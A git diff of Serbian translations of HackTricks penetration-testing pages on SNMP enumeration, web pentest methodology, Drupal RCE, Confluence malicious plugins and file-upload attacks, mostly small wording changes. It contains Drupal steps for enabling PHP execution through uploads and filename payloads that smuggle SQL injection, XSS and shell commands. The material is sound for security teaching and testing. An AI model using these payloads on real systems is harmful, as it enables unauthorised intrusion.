* **Pokrenuti programi**: Vrednost `1.3.6.1.2.1.25.4.2.1.2` je namenjena praćenju trenutno pokrenutih programa.
|
||||
* **Putanja procesa**: Da bi se odredilo odakle se proces izvršava, koristi se MIB vrednost `1.3.6.1.2.1.25.4.2.1.4`.
|
||||
* **Skladišne jedinice**: Praćenje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Skladišne jedinice**: Nadgledanje skladišnih jedinica olakšano je putem `1.3.6.1.2.1.25.2.3.1.4`.
|
||||
* **Ime softvera**: Da bi se identifikovao softver instaliran na sistemu, koristi se `1.3.6.1.2.1.25.6.3.1.2`.
|
||||
* **Korisnički nalozi**: Vrednost `1.3.6.1.4.1.77.1.2.25` omogućava praćenje korisničkih naloga.
|
||||
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjena za praćenje TCP lokalnih portova, pružajući uvid u aktivne mrežne veze.
|
||||
* **TCP lokalne portove**: Na kraju, `1.3.6.1.2.1.6.13.1.3` je namenjen za nadgledanje TCP lokalnih portova, pružajući uvid u aktivne mrežne konekcije.
|
||||
|
||||
### Cisco
|
||||
|
||||
|
@ -229,27 +229,27 @@ Na kraju, za ekstrakciju **email adresa** iz podataka, koristi se **grep komanda
|
|||
```bash
|
||||
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
|
||||
```
|
||||
## Modifying SNMP values
|
||||
## Modifikovanje SNMP vrednosti
|
||||
|
||||
Možete koristiti _**NetScanTools**_ da **izmenite vrednosti**. Treba da znate **privatni string** da biste to uradili.
|
||||
Možete koristiti _**NetScanTools**_ da **modifikujete vrednosti**. Biće vam potrebna **privatna string** da biste to uradili.
|
||||
|
||||
## Spoofing
|
||||
|
||||
Ako postoji ACL koji dozvoljava samo nekim IP adresama da upitaju SNMP servis, možete spoofovati jednu od ovih adresa unutar UDP paketa i prisluškivati saobraćaj.
|
||||
|
||||
## Examine SNMP Configuration files
|
||||
## Istraživanje SNMP konfiguracionih fajlova
|
||||
|
||||
* snmp.conf
|
||||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hacking karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
## HackTricks Automatske Komande
|
||||
```
|
||||
Protocol_Name: SNMP #Protocol Abbreviation if there is one.
|
||||
Port_Number: 161 #Comma separated if there is more than one.
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -52,7 +52,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
|
@ -64,7 +64,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -15,13 +15,13 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hakersku karijeru** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Osnovne Informacije
|
||||
## Osnovne informacije
|
||||
|
||||
Web servis je najviše **uobičajen i opsežan servis** i postoji mnogo **različitih tipova ranjivosti**.
|
||||
|
||||
|
@ -50,9 +50,9 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
* [ ] Da li postoji neka **poznata ranjivost** verzije tehnologije?
|
||||
* [ ] Koristite neku **poznatu tehnologiju**? Ima li nekog **korisnog trika** za izvlačenje više informacija?
|
||||
* [ ] Da li postoji neki **specijalizovani skener** koji treba pokrenuti (kao što je wpscan)?
|
||||
* [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili neku zanimljivu informaciju.
|
||||
* [ ] Pokrenite **skeneri opšte namene**. Nikada ne znate da li će pronaći nešto ili ako će pronaći neku zanimljivu informaciju.
|
||||
* [ ] Počnite sa **početnim proverama**: **robots**, **sitemap**, **404** greška i **SSL/TLS sken** (ako je HTTPS).
|
||||
* [ ] Počnite sa **spidering** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
|
||||
* [ ] Počnite sa **spideringom** web stranice: Vreme je da **pronađete** sve moguće **fajlove, foldere** i **parametre koji se koriste.** Takođe, proverite za **posebna otkrića**.
|
||||
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga spiderovati._
|
||||
* [ ] **Brute-Forcing direktorijuma**: Pokušajte da brute-forcujete sve otkrivene foldere tražeći nove **fajlove** i **direktorijume**.
|
||||
* [ ] _Imajte na umu da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
|
||||
|
@ -118,7 +118,7 @@ Neki **trikovi** za **pronalazak ranjivosti** u različitim poznatim **tehnologi
|
|||
* [**Electron Desktop (XSS do RCE)**](electron-desktop-apps/)
|
||||
|
||||
_Uzmite u obzir da **isti domen** može koristiti **različite tehnologije** na različitim **portovima**, **folderima** i **poddomenama**._\
|
||||
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražite Internet** za nove trikove (i javite mi!).
|
||||
Ako web aplikacija koristi neku poznatu **tehnologiju/platformu navedenu ranije** ili **bilo koju drugu**, ne zaboravite da **pretražujete Internet** za nove trikove (i javite mi!).
|
||||
|
||||
### Pregled izvornog koda
|
||||
|
||||
|
@ -195,7 +195,7 @@ Web serveri mogu **nepredvidivo reagovati** kada im se šalju čudni podaci. Ovo
|
|||
Ako otkrijete da je **WebDav** **omogućen** ali nemate dovoljno dozvola za **otpremanje fajlova** u root folder, pokušajte da:
|
||||
|
||||
* **Brute Force** kredencijale
|
||||
* **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole da otpremate fajlove u drugim folderima.
|
||||
* **Otpremite fajlove** putem WebDav u **ostale** **pronađene foldere** unutar web stranice. Možda imate dozvole za otpremanje fajlova u drugim folderima.
|
||||
|
||||
### **SSL/TLS ranjivosti**
|
||||
|
||||
|
@ -225,12 +225,12 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
|
|||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, takođe označava "sočne datoteke".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Interaktivni CLI HTML spider. Takođe pretražuje u Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Ovaj alat nije spider, ali može biti koristan. Možete jednostavno naznačiti datoteku sa hostovima i datoteku sa putevima, a meg će preuzeti svaki put na svakom hostu i sačuvati odgovor.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa mogućnostima renderovanja JS-a. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
|
||||
* [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider sa JS renderovanjem. Međutim, izgleda da nije održavan, prekompajlirana verzija je stara i trenutni kod se ne kompajlira.
|
||||
* [**gau**](https://github.com/lc/gau) (go): HTML spider koji koristi spoljne provajdere (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Ovaj skript će pronaći URL-ove sa parametrima i navesti ih.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa mogućnostima renderovanja JS-a.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretraživanje novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec ninje.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider sa JS renderovanjem.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, sa JS beautify mogućnostima sposobnim za pretragu novih puteva u JS datotekama. Takođe bi bilo korisno pogledati [JSScanner](https://github.com/dark-warlord14/JSScanner), koji je omotač LinkFinder-a.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Za ekstrakciju krajnjih tačaka u HTML izvoru i ugrađenim javascript datotekama. Korisno za lovce na greške, red timere, infosec nindže.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Python 2.7 skript koji koristi Tornado i JSBeautifier za parsiranje relativnih URL-ova iz JavaScript datoteka. Korisno za lako otkrivanje AJAX zahteva. Izgleda da nije održavan.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dajući datoteku (HTML) iz nje će izvući URL-ove koristeći pametnu regularnu ekspresiju za pronalaženje i ekstrakciju relativnih URL-ova iz ružnih (minify) datoteka.
|
||||
* [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, nekoliko alata): Prikupiti zanimljive informacije iz JS datoteka koristeći nekoliko alata.
|
||||
|
@ -253,10 +253,10 @@ Pokrenite neku vrstu **spider** unutar veba. Cilj spider-a je da **pronađe što
|
|||
Započnite **brute-forcing** iz root foldera i budite sigurni da brute-forcujete **sve** **direktorijume pronađene** koristeći **ovu metodu** i sve direktorijume **otkrivene** od strane **Spidering-a** (možete uraditi ovaj brute-forcing **rekurzivno** i dodati na početak korišćenog rečnika imena pronađenih direktorijuma).\
|
||||
Alati:
|
||||
|
||||
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivno pretraživanje. Previše sporo u poređenju sa drugim opcijama.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivno pretraživanje.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** **rekurzivno** pretraživanje.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivno pretraživanje.**
|
||||
* **Dirb** / **Dirbuster** - Uključeno u Kali, **staro** (i **sporo**) ali funkcionalno. Dozvoljava automatski potpisane sertifikate i rekurzivnu pretragu. Previše sporo u poređenju sa drugim opcijama.
|
||||
* [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Ne dozvoljava automatski potpisane sertifikate, ali** dozvoljava rekurzivnu pretragu.
|
||||
* [**Gobuster**](https://github.com/OJ/gobuster) (go): Dozvoljava automatski potpisane sertifikate, **nema** **rekurzivnu** pretragu.
|
||||
* [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Brz, podržava rekurzivnu pretragu.**
|
||||
* [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
|
||||
* [**ffuf** ](https://github.com/ffuf/ffuf)- Brz: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
|
||||
* [**uro**](https://github.com/s0md3v/uro) (python): Ovo nije spider, već alat koji, dajući listu pronađenih URL-ova, briše "duplikate" URL-ova.
|
||||
|
@ -283,7 +283,7 @@ Alati:
|
|||
* _/usr/share/wordlists/dirb/big.txt_
|
||||
* _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
|
||||
_Napomena: svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
|
||||
|
||||
### Šta proveriti na svakoj pronađenoj datoteci
|
||||
|
||||
|
@ -298,7 +298,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
|
|||
* Ako se igrate **CTF**, "uobičajen" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
|
||||
* **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](https://github.com/l4yton/RegHex\)/)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
* Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP\_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
|
||||
* **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/).
|
||||
* **S3 kante**: Tokom spideringa proverite da li je bilo koji **subdomen** ili bilo koji **link** povezan sa nekom **S3 kantom**. U tom slučaju, [**proverite** **dozvole** kante](buckets/).
|
||||
|
||||
### Posebna otkrića
|
||||
|
||||
|
@ -337,7 +337,7 @@ Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_"
|
|||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Moguće je **staviti sadržaj** unutar **Preusmeravanja**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmeravanje), ali nešto bi moglo biti **sakriveno** unutra.
|
||||
Moguće je **staviti sadržaj** unutar **preusmeravanja**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmeravanje), ali nešto bi moglo biti **sakriveno** unutra.
|
||||
|
||||
### Proveravanje web ranjivosti
|
||||
|
||||
|
@ -357,7 +357,7 @@ Pronađite više informacija o web ranjivostima na:
|
|||
|
||||
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za izmene koje bi mogle umetnuti ranjivosti.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **hacking karijeru** i hakovanje nehakovanog - **zapošljavamo!** (_tečno poljski pisano i govorno potrebno_).
|
||||
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Drupal RCE
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
@ -18,7 +18,7 @@ Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt
|
|||
## Sa PHP Filter Modulom
|
||||
|
||||
{% hint style="warning" %}
|
||||
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/snippeta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
||||
U starijim verzijama Drupala **(pre verzije 8)**, bilo je moguće prijaviti se kao administrator i **omogućiti `PHP filter` modul**, koji "Omogućava evaluaciju ugrađenog PHP koda/fragmenta." Ali od verzije 8 ovaj modul nije instaliran po defaultu.
|
||||
{% endhint %}
|
||||
|
||||
Potrebno je da **plugin php bude instaliran** (proverite pristupajući _/modules/php_ i ako vrati **403**, onda **postoji**, ako **nije pronađen**, onda **plugin php nije instaliran**)
|
||||
|
@ -45,9 +45,9 @@ Od verzije **8 pa nadalje,** [**PHP Filter**](https://www.drupal.org/project/php
|
|||
|
||||
1. Preuzmite najnoviju verziju modula sa Drupal veb sajta.
|
||||
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||||
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupna ažuriranja`**.
|
||||
2. Kada se preuzme, idite na **`Administracija`** > **`Izveštaji`** > **`Dostupne nadogradnje`**.
|
||||
3. Kliknite na **`Pretraži`**, izaberite datoteku iz direktorijuma u koji smo je preuzeli, a zatim kliknite na **`Instaliraj`**.
|
||||
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajuće liste**.
|
||||
4. Kada je modul instaliran, možemo kliknuti na **`Sadržaj`** i **napraviti novu osnovnu stranicu**, slično kao što smo uradili u primeru Drupal 7. Ponovo, obavezno **izaberite `PHP kod` iz `Format teksta` padajućeg menija**.
|
||||
|
||||
## Modul sa backdoor-om
|
||||
|
||||
|
@ -97,13 +97,13 @@ Pre aktivacije:
|
|||
|
||||
Posle aktivacije:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Deo 2 (iskorišćavanje funkcije _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||||
|
||||
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (import-ujemo) Drupal konfiguracione unose:
|
||||
Iskoristićemo funkciju _Configuration synchronization_ da dump-ujemo (izvezemo) i upload-ujemo (uvozimo) Drupal konfiguracione unose:
|
||||
|
||||
* /admin/config/development/configuration/single/export
|
||||
* /admin/config/development/configuration/single/import
|
||||
|
@ -124,9 +124,9 @@ allow_insecure_uploads: false
|
|||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Da:
|
||||
Na:
|
||||
|
||||
File: system.file.yml
|
||||
Fajl: system.file.yml
|
||||
```
|
||||
|
||||
...
|
||||
|
@ -172,7 +172,7 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
|
|||
|
||||
### Deo 3 (iskorišćavanje funkcije _Dodaj dokument_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||||
|
||||
Poslednji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
|
||||
Zadnji korak je najjednostavniji i deli se na dva pod-koraka. Prvi je da se otpremi datoteka u .htaccess formatu kako bi se iskoristile Apache direktive i omogućilo da .txt datoteke budu interpretirane od strane PHP engine-a. Drugi je da se otpremi .txt datoteka koja sadrži naš payload.
|
||||
|
||||
Datoteka: .htaccess
|
||||
```
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
|
||||
|
||||
|
@ -124,12 +124,12 @@ Ovo su neke od radnji koje bi maliciozni dodatak mogao da izvrši:
|
|||
|
||||
* **Sakrivanje dodataka od administratora**: Moguće je sakriti maliciozni dodatak injektovanjem nekog front-end javascript-a.
|
||||
* **Ekstrakcija priloga i stranica**: Omogućava pristup i ekstrakciju svih podataka.
|
||||
* **Krađa sesion tokena**: Dodajte endpoint koji će echo-ovati zaglavlja u odgovoru (sa kolačićem) i neki javascript koji će kontaktirati taj endpoint i procuriti kolačiće.
|
||||
* **Krađa sesion tokena**: Dodajte endpoint koji će echo-ovati zaglavlja u odgovoru (sa kolačićem) i neki javascript koji će kontaktirati taj endpoint i otkriti kolačiće.
|
||||
* **Izvršavanje komandi**: Naravno, moguće je kreirati dodatak koji će izvršavati kod.
|
||||
* **Obrnuta ljuska**: Ili dobiti obrnutu ljusku.
|
||||
* **DOM proksiranje**: Ako je Confluence unutar privatne mreže, bilo bi moguće uspostaviti vezu kroz pregledač nekog korisnika koji ima pristup i, na primer, kontaktirati server za izvršavanje komandi kroz njega.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ste zainteresovani za **karijeru u hakovanju** i hakovanje nehakovanog - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).
|
||||
|
||||
|
@ -144,8 +144,8 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -183,19 +183,19 @@ Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru
|
|||
|
||||
## Od učitavanja datoteka do drugih ranjivosti
|
||||
|
||||
* Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **traversal putanje**
|
||||
* Postavite **ime datoteke** na `../../../tmp/lol.png` i pokušajte da postignete **putanju prelazaka**
|
||||
* Postavite **ime datoteke** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injekciju**
|
||||
* Postavite **ime datoteke** na `<svg onload=alert(document.domain)>` da biste postigli XSS
|
||||
* Postavite **ime datoteke** na `; sleep 10;` da biste testirali neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
|
||||
* [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** datoteka **upload** + **XSS** = [**eksploatacija servisnih radnika**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE u uploadu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**XSS** u učitavanju slike (svg) datoteke](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
